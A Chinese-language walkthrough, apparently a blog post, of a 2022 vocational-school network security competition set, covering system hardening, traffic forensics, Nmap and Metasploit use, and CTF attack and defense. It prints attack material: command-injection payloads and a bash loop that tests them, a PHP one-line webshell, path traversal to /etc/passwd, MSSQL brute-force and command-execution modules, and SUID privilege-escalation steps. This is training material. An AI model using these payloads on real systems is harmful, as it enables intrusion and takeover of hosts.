絡(luò)安全賽題實(shí)戰(zhàn)拆解:從加固、取證到CTF攻防的完整鏈路)
簡(jiǎn)介這份文檔是2022年全國(guó)職業(yè)院校技能大賽中職組網(wǎng)絡(luò)安全賽項(xiàng)的完整賽題第9套面向職業(yè)院校網(wǎng)絡(luò)安全競(jìng)賽選手、指導(dǎo)教師以及備賽訓(xùn)練的學(xué)習(xí)者用于模擬真實(shí)賽場(chǎng)環(huán)境、檢驗(yàn)安全加固與攻防實(shí)戰(zhàn)能力。賽題圍繞基礎(chǔ)設(shè)施設(shè)置與安全加固、網(wǎng)絡(luò)安全事件響應(yīng)與數(shù)字取證、應(yīng)用安全以及CTF奪旗攻擊與防御四大模塊展開涵蓋密碼策略、用戶權(quán)限管理、SSH與VSFTPD中間件加固、IIS日志審計(jì)、iptables防火墻策略、Nmap與DirBuster滲透測(cè)試等具體任務(wù)并附有競(jìng)賽時(shí)間安排、分值權(quán)重與注意事項(xiàng)。資源包共1個(gè)docx文件約49KB內(nèi)容為完整賽題文本便于打印或?qū)φ站毩?xí)。目前已有849人學(xué)習(xí)下載適合需要系統(tǒng)梳理賽項(xiàng)考點(diǎn)、開展賽前模擬與查漏補(bǔ)缺的中職及高職網(wǎng)絡(luò)安全參賽者。1. 從一份中職組賽題看網(wǎng)絡(luò)安全實(shí)戰(zhàn)這套題到底練什么很多人第一次翻到這份《2022 年全國(guó)職業(yè)院校技能大賽中職組網(wǎng)絡(luò)安全賽項(xiàng)賽題 9》時(shí)會(huì)以為它只是一份普通的試卷。但真正做過這套題的人知道它其實(shí)是一份被壓縮到 4 個(gè)小時(shí)里的完整攻防工作流從 Windows 本地安全策略、Linux 中間件加固到 Nmap 掃描、MSF 漏洞利用、Wireshark 流量取證再到 CTF 奪旗的攻擊與防御??偡?100 分A 模塊基礎(chǔ)設(shè)施加固占 20%B 模塊事件響應(yīng)與數(shù)字取證占 40%C、D 兩個(gè) CTF 模塊各占 20%。換句話說它考的不是單點(diǎn)知識(shí)而是發(fā)現(xiàn)—利用—加固—取證這條鏈路上每一環(huán)能不能落地。適合正在準(zhǔn)備 CTF 入門、滲透測(cè)試學(xué)習(xí)、或者想系統(tǒng)梳理安全加固清單的從業(yè)者也適合帶學(xué)生打比賽的指導(dǎo)老師拿來當(dāng)訓(xùn)練藍(lán)本。2. 基礎(chǔ)設(shè)施加固Windows 與 Linux 的 18 個(gè)必做動(dòng)作A 模塊是整份賽題里最穩(wěn)的部分——它不依賴漏洞運(yùn)氣全靠對(duì)系統(tǒng)安全策略的熟悉程度。20 分里塞了 18 個(gè)具體任務(wù)覆蓋 Windows 登錄安全、事件審核、IIS 加固、本地策略以及 Linux 的 SSHD、VSFTPD、iptables。這一章把能直接抄作業(yè)的命令和配置路徑拆開講。2.1 Windows 密碼策略與用戶安全管理的落地點(diǎn)A-1 任務(wù)要求密碼符合復(fù)雜性、最短使用期限 10 天、禁用來賓賬戶、刪除后門用戶、限制關(guān)機(jī)權(quán)限。這些在圖形界面里點(diǎn)得到但比賽時(shí)用secpol.msc和net user更快。# 查看當(dāng)前所有本地用戶找可疑賬戶 net user # 禁用來賓賬戶 net user Guest /active:no # 刪除疑似后門用戶示例test$ 這類帶 $ 的隱藏賬戶 net user test$ /delete # 設(shè)置密碼最短使用期限為 10 天本地策略 # 路徑secpol.msc - 賬戶策略 - 密碼策略 - 密碼最短使用期限 - 10邏輯說明net user不帶參數(shù)列出所有賬戶帶$結(jié)尾的賬戶在默認(rèn)視圖里不顯示是常見的后門藏法。/active:no是禁用而非刪除保留賬戶但切斷登錄。密碼最短使用期限在圖形界面改是因?yàn)閚et accounts命令雖然能設(shè)/minpwage:10但比賽答題卡通常要求截圖策略界面所以兩條路都要會(huì)。參數(shù)說明/minpwage單位是天設(shè) 0 表示可立即改密碼設(shè) 10 就是 10 天內(nèi)不能改。復(fù)雜性要求對(duì)應(yīng)secpol.msc里密碼必須符合復(fù)雜性要求啟用不要和密碼長(zhǎng)度最小值混淆。關(guān)機(jī)權(quán)限的限制在本地策略 - 用戶權(quán)限分配里把關(guān)閉系統(tǒng)只留給 Administrators 組從遠(yuǎn)端系統(tǒng)強(qiáng)制關(guān)機(jī)同樣只指派給 Administrators。這一步容易被忽略因?yàn)槟J(rèn) Users 組也有部分關(guān)機(jī)權(quán)限。2.2 事件審核與 IIS 日志的開啟方式A-2 要求開啟審核策略登錄事件成功/失敗、特權(quán)使用成功、策略更改成功/失敗、進(jìn)程跟蹤成功/失敗。A-3 的 IIS 部分要求日志格式為 W3C只記錄日期、時(shí)間、客戶端 IP、用戶名、方法。# 用 auditpol 命令行開啟審核策略比逐項(xiàng)點(diǎn)圖形界面快 auditpol /set /subcategory:登錄 /success:enable /failure:enable auditpol /set /subcategory:特權(quán)使用 /success:enable auditpol /set /subcategory:策略更改 /success:enable /failure:enable auditpol /set /subcategory:進(jìn)程跟蹤 /success:enable /failure:enable # 查看當(dāng)前審核配置 auditpol /get /category:*邏輯說明auditpol是 Windows 自帶的審核策略命令行工具/subcategory后跟中文子類別名系統(tǒng)語(yǔ)言為中文時(shí)/success:enable和/failure:enable分別控制成功和失敗事件的記錄。比賽環(huán)境如果是英文系統(tǒng)子類別名要換成Logon、Privilege Use、Policy Change、Process Tracking。參數(shù)說明/category:*列出所有類別方便確認(rèn)子類別名稱拼寫。IIS 日志在inetmgr里選站點(diǎn) - 日志 - 格式選 W3C - 選擇字段只勾日期、時(shí)間、客戶端 IP、用戶名、方法五項(xiàng)。WebDAV 關(guān)閉在添加角色和功能里取消勾選或在 IIS 管理器里移除 WebDAV 模塊。2.3 SSHD 與 VSFTPD 加固端口、計(jì)劃任務(wù)與 PID 路徑A-3 的 Linux 部分要求改 SSH 端口為 2222、禁止 root 遠(yuǎn)程登錄、設(shè)置 root 計(jì)劃任務(wù)每天 7:50 開 SSH、22:50 關(guān)、每周六 7:30 重啟、修改 PID 存放地。VSFTPD 要求非特權(quán)用戶 pyftp、端口范圍 50000-60000、本地用戶限制在 home 目錄。# 修改 SSH 配置 vim /etc/ssh/sshd_config # 改 Port 2222 # 改 PermitRootLogin no # 改 PidFile /var/run/sshd_custom.pid # 重啟 SSH 使配置生效 systemctl restart sshd # 設(shè)置 root 計(jì)劃任務(wù) crontab -e -u root # 加入以下三行 50 7 * * * /usr/sbin/sshd 50 22 * * * pkill sshd 30 7 * * 6 systemctl restart sshd邏輯說明PermitRootLogin no禁止 root 直接遠(yuǎn)程登錄但計(jì)劃任務(wù)里用pkill sshd關(guān)閉服務(wù)后周六的重啟用systemctl restart而不是直接啟動(dòng)二進(jìn)制是因?yàn)?systemd 管理的服務(wù)用 systemctl 更規(guī)范。PID 文件路徑改了之后systemctl restart會(huì)按新路徑寫 PID但要注意 SELinux 可能攔截非標(biāo)準(zhǔn)路徑比賽環(huán)境通常已關(guān)閉。參數(shù)說明crontab -e -u root編輯 root 的計(jì)劃任務(wù)50 7 * * *表示每天 7:5030 7 * * 6表示每周六 7:30。VSFTPD 配置在/etc/vsftpd/vsftpd.conf或/etc/vsftpd.confguest_usernamepyftp指定非特權(quán)用戶pasv_min_port50000和pasv_max_port60000限制被動(dòng)模式端口local_root/home或chroot_local_userYES限制本地用戶活動(dòng)范圍。2.4 iptables 三條策略防掃描、防暴力、防碎片A-5 要求對(duì) 3306 端口做流量處理防 Nmap 探測(cè)、僅允許 172.16.10.0/24 訪問 SSH、限制 IP 碎片每秒 1000 個(gè)。# 防 Nmap 對(duì) 3306 的掃描丟棄異常標(biāo)志位組合的包 iptables -A INPUT -p tcp --dport 3306 -m tcp --tcp-flags ALL ALL -j DROP iptables -A INPUT -p tcp --dport 3306 -m tcp --tcp-flags ALL NONE -j DROP # 僅允許 172.16.10.0/24 訪問 SSH iptables -A INPUT -p tcp --dport 22 -s 172.16.10.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 22 -j DROP # 限制 IP 碎片每秒 1000 個(gè) iptables -A INPUT -f -m limit --limit 1000/s -j ACCEPT iptables -A INPUT -f -j DROP邏輯說明第一條用--tcp-flags ALL ALL匹配所有標(biāo)志位都置位的異常包Nmap 的 XMAS 掃描特征ALL NONE匹配無標(biāo)志位的 NULL 掃描。第二條先放行指定網(wǎng)段再丟棄其余順序不能反。第三條-f匹配分片包--limit 1000/s限制速率超出部分走后面的 DROP。參數(shù)說明-A INPUT追加到輸入鏈-s指定源網(wǎng)段-j指定動(dòng)作。--limit的速率單位可以是/s、/m、/h。保存規(guī)則用iptables-save /etc/sysconfig/iptablesCentOS或netfilter-persistent saveDebian 系。3. 事件響應(yīng)與數(shù)字取證B 模塊的 10 個(gè)任務(wù)怎么拆B(yǎng) 模塊 40 分10 個(gè)子任務(wù)各 4 分是整份賽題里分值最重、也最考驗(yàn)工具熟練度的部分。它覆蓋主機(jī)發(fā)現(xiàn)、Web 滲透、流量取證、漏洞掃描、PE 逆向、數(shù)據(jù)庫(kù)滲透、Linux 應(yīng)急響應(yīng)。這一章按工具鏈拆解重點(diǎn)講每個(gè)任務(wù)在考什么、命令怎么敲、結(jié)果怎么讀。3.1 Nmap 腳本掃描與 VNC 服務(wù)探測(cè)B-1 要求用 Nmap 查看本地路由與接口、掃描 VNC 服務(wù)、發(fā)空 UDP 包攻擊 avahi、模糊測(cè)試、Zenmap 掃遠(yuǎn)程代碼執(zhí)行漏洞。# 查看本地路由與接口 nmap --iflist # VNC 服務(wù)掃描 nmap -p 5900 --script vnc-info target # 或 nmap --script vnc-brute target # 對(duì) avahi 發(fā)空 UDP 包 nmap -sU -p 5353 --script dns-service-discovery target # 模糊測(cè)試 nmap --script fuzzer target # 掃遠(yuǎn)程代碼執(zhí)行漏洞檢測(cè)路徑 /cgi-bin/bin nmap -p 80 --script http-shellshock --script-args uri/cgi-bin/bin target邏輯說明--iflist列出接口和路由是 B-1 第 1 題的答案來源。VNC 掃描用vnc-info腳本讀版本號(hào)vnc-brute做口令爆破。avahi 是類 DNS 服務(wù)dns-service-discovery腳本發(fā)空 UDP 包觸發(fā)拒絕服務(wù)。模糊測(cè)試用fuzzer腳本發(fā)異常包。遠(yuǎn)程代碼執(zhí)行漏洞檢測(cè)用http-shellshock或類似腳本uri參數(shù)指定檢測(cè)路徑。參數(shù)說明-p指定端口--script指定腳本名--script-args傳腳本參數(shù)。腳本名要記準(zhǔn)比賽答題卡要求提交的就是腳本名稱字符串如vnc-info.nse。Zenmap 是 Nmap 的圖形前端腳本調(diào)用方式和命令行一致。3.2 Wireshark 流量取證從 attack.pcapng 里挖 FlagB-3 要求分析 attack.pcapng找出惡意 IP、掃描端口、用戶名、密碼、一句話木馬密碼、下載文件名、文件內(nèi)容。這是典型的數(shù)字取證流量分析題。# 用 tshark 命令行快速過濾Wireshark 的 CLI 版 # 找惡意 IP按對(duì)話統(tǒng)計(jì) tshark -r attack.pcapng -q -z conv,ip # 找掃描端口過濾 SYN 包 tshark -r attack.pcapng -Y tcp.flags.syn1 tcp.flags.ack0 -T fields -e tcp.dstport | sort -n | uniq # 找登錄用戶名密碼過濾 HTTP POST tshark -r attack.pcapng -Y http.request.methodPOST -T fields -e http.file_data # 找一句話木馬密碼過濾 POST 內(nèi)容中的 pass 參數(shù) tshark -r attack.pcapng -Y http contains \pass\ -T fields -e http.file_data邏輯說明conv,ip統(tǒng)計(jì) IP 對(duì)話流量最大的可疑 IP 就是惡意用戶。SYN 包過濾找出掃描端口sort -n | uniq去重排序。HTTP POST 的file_data字段包含表單內(nèi)容能直接看到用戶名密碼。一句話木馬的密碼通常在 POST 的pass參數(shù)里下載文件名在 HTTP 響應(yīng)或 FTP 傳輸里找。參數(shù)說明-r讀文件-Y顯示過濾器Wireshark 語(yǔ)法-T fields -e指定輸出字段。tcp.flags.syn1 tcp.flags.ack0是 SYN 掃描特征。如果 pcapng 里有 FTP 傳輸用ftp-data過濾找下載文件。3.3 MSF 漏洞掃描與 MS08067 利用B-4 要求 Nmap 輸出 XML、初始化 MSF 數(shù)據(jù)庫(kù)、導(dǎo)入掃描結(jié)果、搜索 MS08067、檢測(cè)漏洞。# Nmap 輸出 XML nmap -sV -oX result.xml target # 初始化 MSF 數(shù)據(jù)庫(kù) msfdb init # 啟動(dòng) MSF 并導(dǎo)入 msfconsole db_import /path/to/result.xml hosts services # 搜索 MS08067 search ms08067 # 調(diào)用模塊檢測(cè) use exploit/windows/smb/ms08_067_netapi set RHOSTS target check邏輯說明-oX輸出 XML 格式msfdb init初始化 PostgreSQL 數(shù)據(jù)庫(kù)db_import導(dǎo)入后hosts和services查看。search ms08067回顯里有公開時(shí)間。check命令檢測(cè)目標(biāo)是否存在漏洞回顯最后一個(gè)單詞通常是vulnerable或safe。參數(shù)說明-sV版本掃描-oX指定輸出文件。MSF 里set RHOSTS設(shè)目標(biāo)check只檢測(cè)不利用。MS08067 的模塊路徑是exploit/windows/smb/ms08_067_netapi公開時(shí)間在 search 結(jié)果里能看到。3.4 PE 逆向與數(shù)據(jù)庫(kù)滲透的關(guān)鍵命令B-5 要求靜態(tài)調(diào)試 PE01.exe找 main 入口、許可證檢查函數(shù)、Flag、注冊(cè)成功回顯、許可證碼。B-7 要求 Zenmap 掃 1433/3306/80、MSF 爆破數(shù)據(jù)庫(kù)、擴(kuò)展存儲(chǔ)過程利用。# PE 靜態(tài)調(diào)試用 IDA Pro 或 Ghidra # main 入口IDA 里看 Entry Point 或搜索 main # 許可證檢查函數(shù)搜索 license 或 check 字符串交叉引用 # Flag在字符串窗口搜索 flag{ 或 CTF{ # 數(shù)據(jù)庫(kù)滲透MSF 爆破 MSSQL use auxiliary/scanner/mssql/mssql_login set RHOSTS target set USER_FILE /root/users.txt set PASS_FILE /root/2.txt set THREADS 10 run # 擴(kuò)展存儲(chǔ)過程利用 use exploit/windows/mssql/mssql_payload set RHOSTS target set PASSWORD cracked_password set CMD whoami run邏輯說明PE 逆向用 IDA 打開后Entry Point 附近就是 main字符串窗口搜license找檢查函數(shù)搜flag{找 Flag。數(shù)據(jù)庫(kù)爆破用mssql_login模塊USER_FILE和PASS_FILE指定字典THREADS設(shè)線程。擴(kuò)展存儲(chǔ)過程利用用mssql_payloadCMD參數(shù)執(zhí)行系統(tǒng)命令。參數(shù)說明set賦值run執(zhí)行。show options查看需要配置的字段通常包括RHOSTS、USER_FILE、PASS_FILE、THREADS、USERNAME、PASSWORD。B-7 第 4 題要求提交這些字段名用逗號(hào)分隔。4. CTF 奪旗攻防C 模塊與 D 模塊的邊界在哪C 模塊攻擊 20 分D 模塊防御 20 分兩者共用同一套漏洞描述命令注入、文件上傳、文件包含、遠(yuǎn)程代碼執(zhí)行、緩沖區(qū)溢出、系統(tǒng)后門。區(qū)別在于 C 模塊是打別人的靶機(jī)搶 FlagD 模塊是加固自己的堡壘機(jī)并出報(bào)告。這一章講攻擊路徑和防御加固的對(duì)應(yīng)關(guān)系。4.1 命令注入與文件上傳的利用鏈C 模塊的漏洞說明里命令注入和文件上傳是最常見的入口。命令注入通常出現(xiàn)在 ping、nslookup 這類調(diào)用系統(tǒng)命令的功能點(diǎn)。# 命令注入測(cè)試 127.0.0.1; whoami 127.0.0.1 | whoami 127.0.0.1 whoami # 文件上傳先傳普通圖片再改后綴或 Content-Type # 用 Burp Suite 抓包改 filenameshell.php # 或改 Content-Type: image/jpeg 繞過前端校驗(yàn)邏輯說明分號(hào)、管道、與符號(hào)是命令注入的三種拼接方式取決于后端用的是exec、system還是shell_exec。文件上傳的繞過分前端校驗(yàn)改 Content-Type、后端黑名單改后綴為.phtml、.php5、內(nèi)容檢測(cè)加圖片頭GIF89a。參數(shù)說明命令注入的 payload 要 URL 編碼后發(fā)送。文件上傳的 webshell 內(nèi)容用一句話?php eval($_POST[pass]);?連接密碼就是pass。4.2 文件包含與提權(quán)的結(jié)合文件包含漏洞通常配合文件上傳使用先傳圖片馬再通過包含漏洞執(zhí)行。# 文件包含讀取敏感文件 http://target/index.php?page../../../../etc/passwd # 包含上傳的圖片馬 http://target/index.php?pageupload/shell.jpg # 提權(quán)找 SUID 文件 find / -perm -4000 -type f 2/dev/null # 找可寫 cron ls -la /etc/cron*邏輯說明../穿越路徑讀系統(tǒng)文件包含圖片馬時(shí)后端會(huì)把圖片當(dāng) PHP 執(zhí)行。提權(quán)先找 SUID 文件常見的有nmap、find、vim再用 GTFOBins 對(duì)應(yīng)方法提權(quán)。cron 可寫就直接寫反彈 shell。參數(shù)說明-perm -4000匹配 SUID 位2/dev/null屏蔽權(quán)限錯(cuò)誤。文件包含的路徑深度取決于當(dāng)前腳本位置一般../../../../夠用。4.3 D 模塊防御加固的實(shí)施報(bào)告怎么寫D 模塊要求掃描自己的堡壘機(jī)、發(fā)現(xiàn)漏洞、加固、出 PDF 報(bào)告。報(bào)告結(jié)構(gòu)通常是發(fā)現(xiàn)的問題、加固措施、驗(yàn)證結(jié)果。漏洞類型加固措施驗(yàn)證方式命令注入過濾特殊字符、用白名單重放 payload 確認(rèn)被攔截文件上傳白名單后綴、重命名、存非 Web 目錄嘗試上傳 php 確認(rèn)失敗文件包含關(guān)閉 allow_url_include、限制路徑嘗試包含遠(yuǎn)程文件確認(rèn)失敗遠(yuǎn)程代碼執(zhí)行打補(bǔ)丁、關(guān)服務(wù)、防火墻限制重新掃描確認(rèn)漏洞消失緩沖區(qū)溢出打補(bǔ)丁、DEP/ASLR 開啟重放溢出 payload 確認(rèn)崩潰消失系統(tǒng)后門刪賬戶、刪計(jì)劃任務(wù)、清啟動(dòng)項(xiàng)重啟后確認(rèn)后門不復(fù)活邏輯說明加固報(bào)告要配截圖每步操作前中后各一張。驗(yàn)證環(huán)節(jié)不能省因?yàn)樵u(píng)分看的是加固成效而不是加固動(dòng)作。后門清理要查crontab、systemd服務(wù)、rc.local、/etc/passwd新增賬戶。參數(shù)說明allow_url_include在 php.ini 里設(shè) Offopen_basedir限制腳本訪問目錄。防火墻用iptables或firewalld限制服務(wù)端口來源。5. 從賽題到實(shí)戰(zhàn)三個(gè)能帶走的排查習(xí)慣這份賽題最大的價(jià)值不在題目本身而在于它逼你把掃描—利用—取證—加固串成一條線。我做完這套題后有三個(gè)習(xí)慣一直保留到現(xiàn)在。第一個(gè)是先看流量再動(dòng)手。B-3 的 attack.pcapng 分析教會(huì)我任何應(yīng)急響應(yīng)第一步都是抓包和看日志而不是直接上工具掃。tshark -r xxx.pcapng -q -z conv,ip這條命令我現(xiàn)在每次排查異常流量都會(huì)先跑一遍對(duì)話統(tǒng)計(jì)能最快定位可疑 IP。第二個(gè)是加固必留驗(yàn)證截圖。D 模塊的報(bào)告要求發(fā)現(xiàn)—加固—驗(yàn)證三步缺一不可。我現(xiàn)在做任何安全配置變更都會(huì)在變更前跑一次掃描、變更后再跑一次兩次結(jié)果對(duì)比存檔。nmap -sV -oX before.xml和nmap -sV -oX after.xmldiff 一下就知道加固有沒有生效。第三個(gè)是命令注入的測(cè)試 payload 要備三套。分號(hào)、管道、與符號(hào)各一套因?yàn)椴煌蠖撕瘮?shù)的拼接方式不同。我一般會(huì)寫一個(gè)小腳本批量測(cè)#!/bin/bash # 命令注入批量測(cè)試 TARGEThttp://target/ping.php for payload in ;whoami |whoami whoami %3Bwhoami %7Cwhoami; do echo Testing: $payload curl -s $TARGET?ip127.0.0.1$payload | grep -E root|www-data|admin done邏輯說明curl -s靜默請(qǐng)求grep過濾命令執(zhí)行結(jié)果特征。%3B和%7C是分號(hào)和管道的 URL 編碼有些后端會(huì)解碼后再拼接。這個(gè)腳本能快速判斷哪個(gè) payload 生效。參數(shù)說明TARGET換成實(shí)際測(cè)試地址ip127.0.0.1是假設(shè)的參數(shù)名實(shí)際要按目標(biāo)調(diào)整。grep -E用擴(kuò)展正則匹配多個(gè)關(guān)鍵詞。從那以后我每次做滲透測(cè)試或應(yīng)急響應(yīng)都強(qiáng)制走一遍抓包—定位—驗(yàn)證—加固—復(fù)測(cè)這五步不再跳步。這套賽題里的 18 個(gè)加固任務(wù)、10 個(gè)取證任務(wù)、6 類漏洞利用本質(zhì)上就是這五步的反復(fù)演練。希望幫到你。本文還有配套的精品資源點(diǎn)擊獲取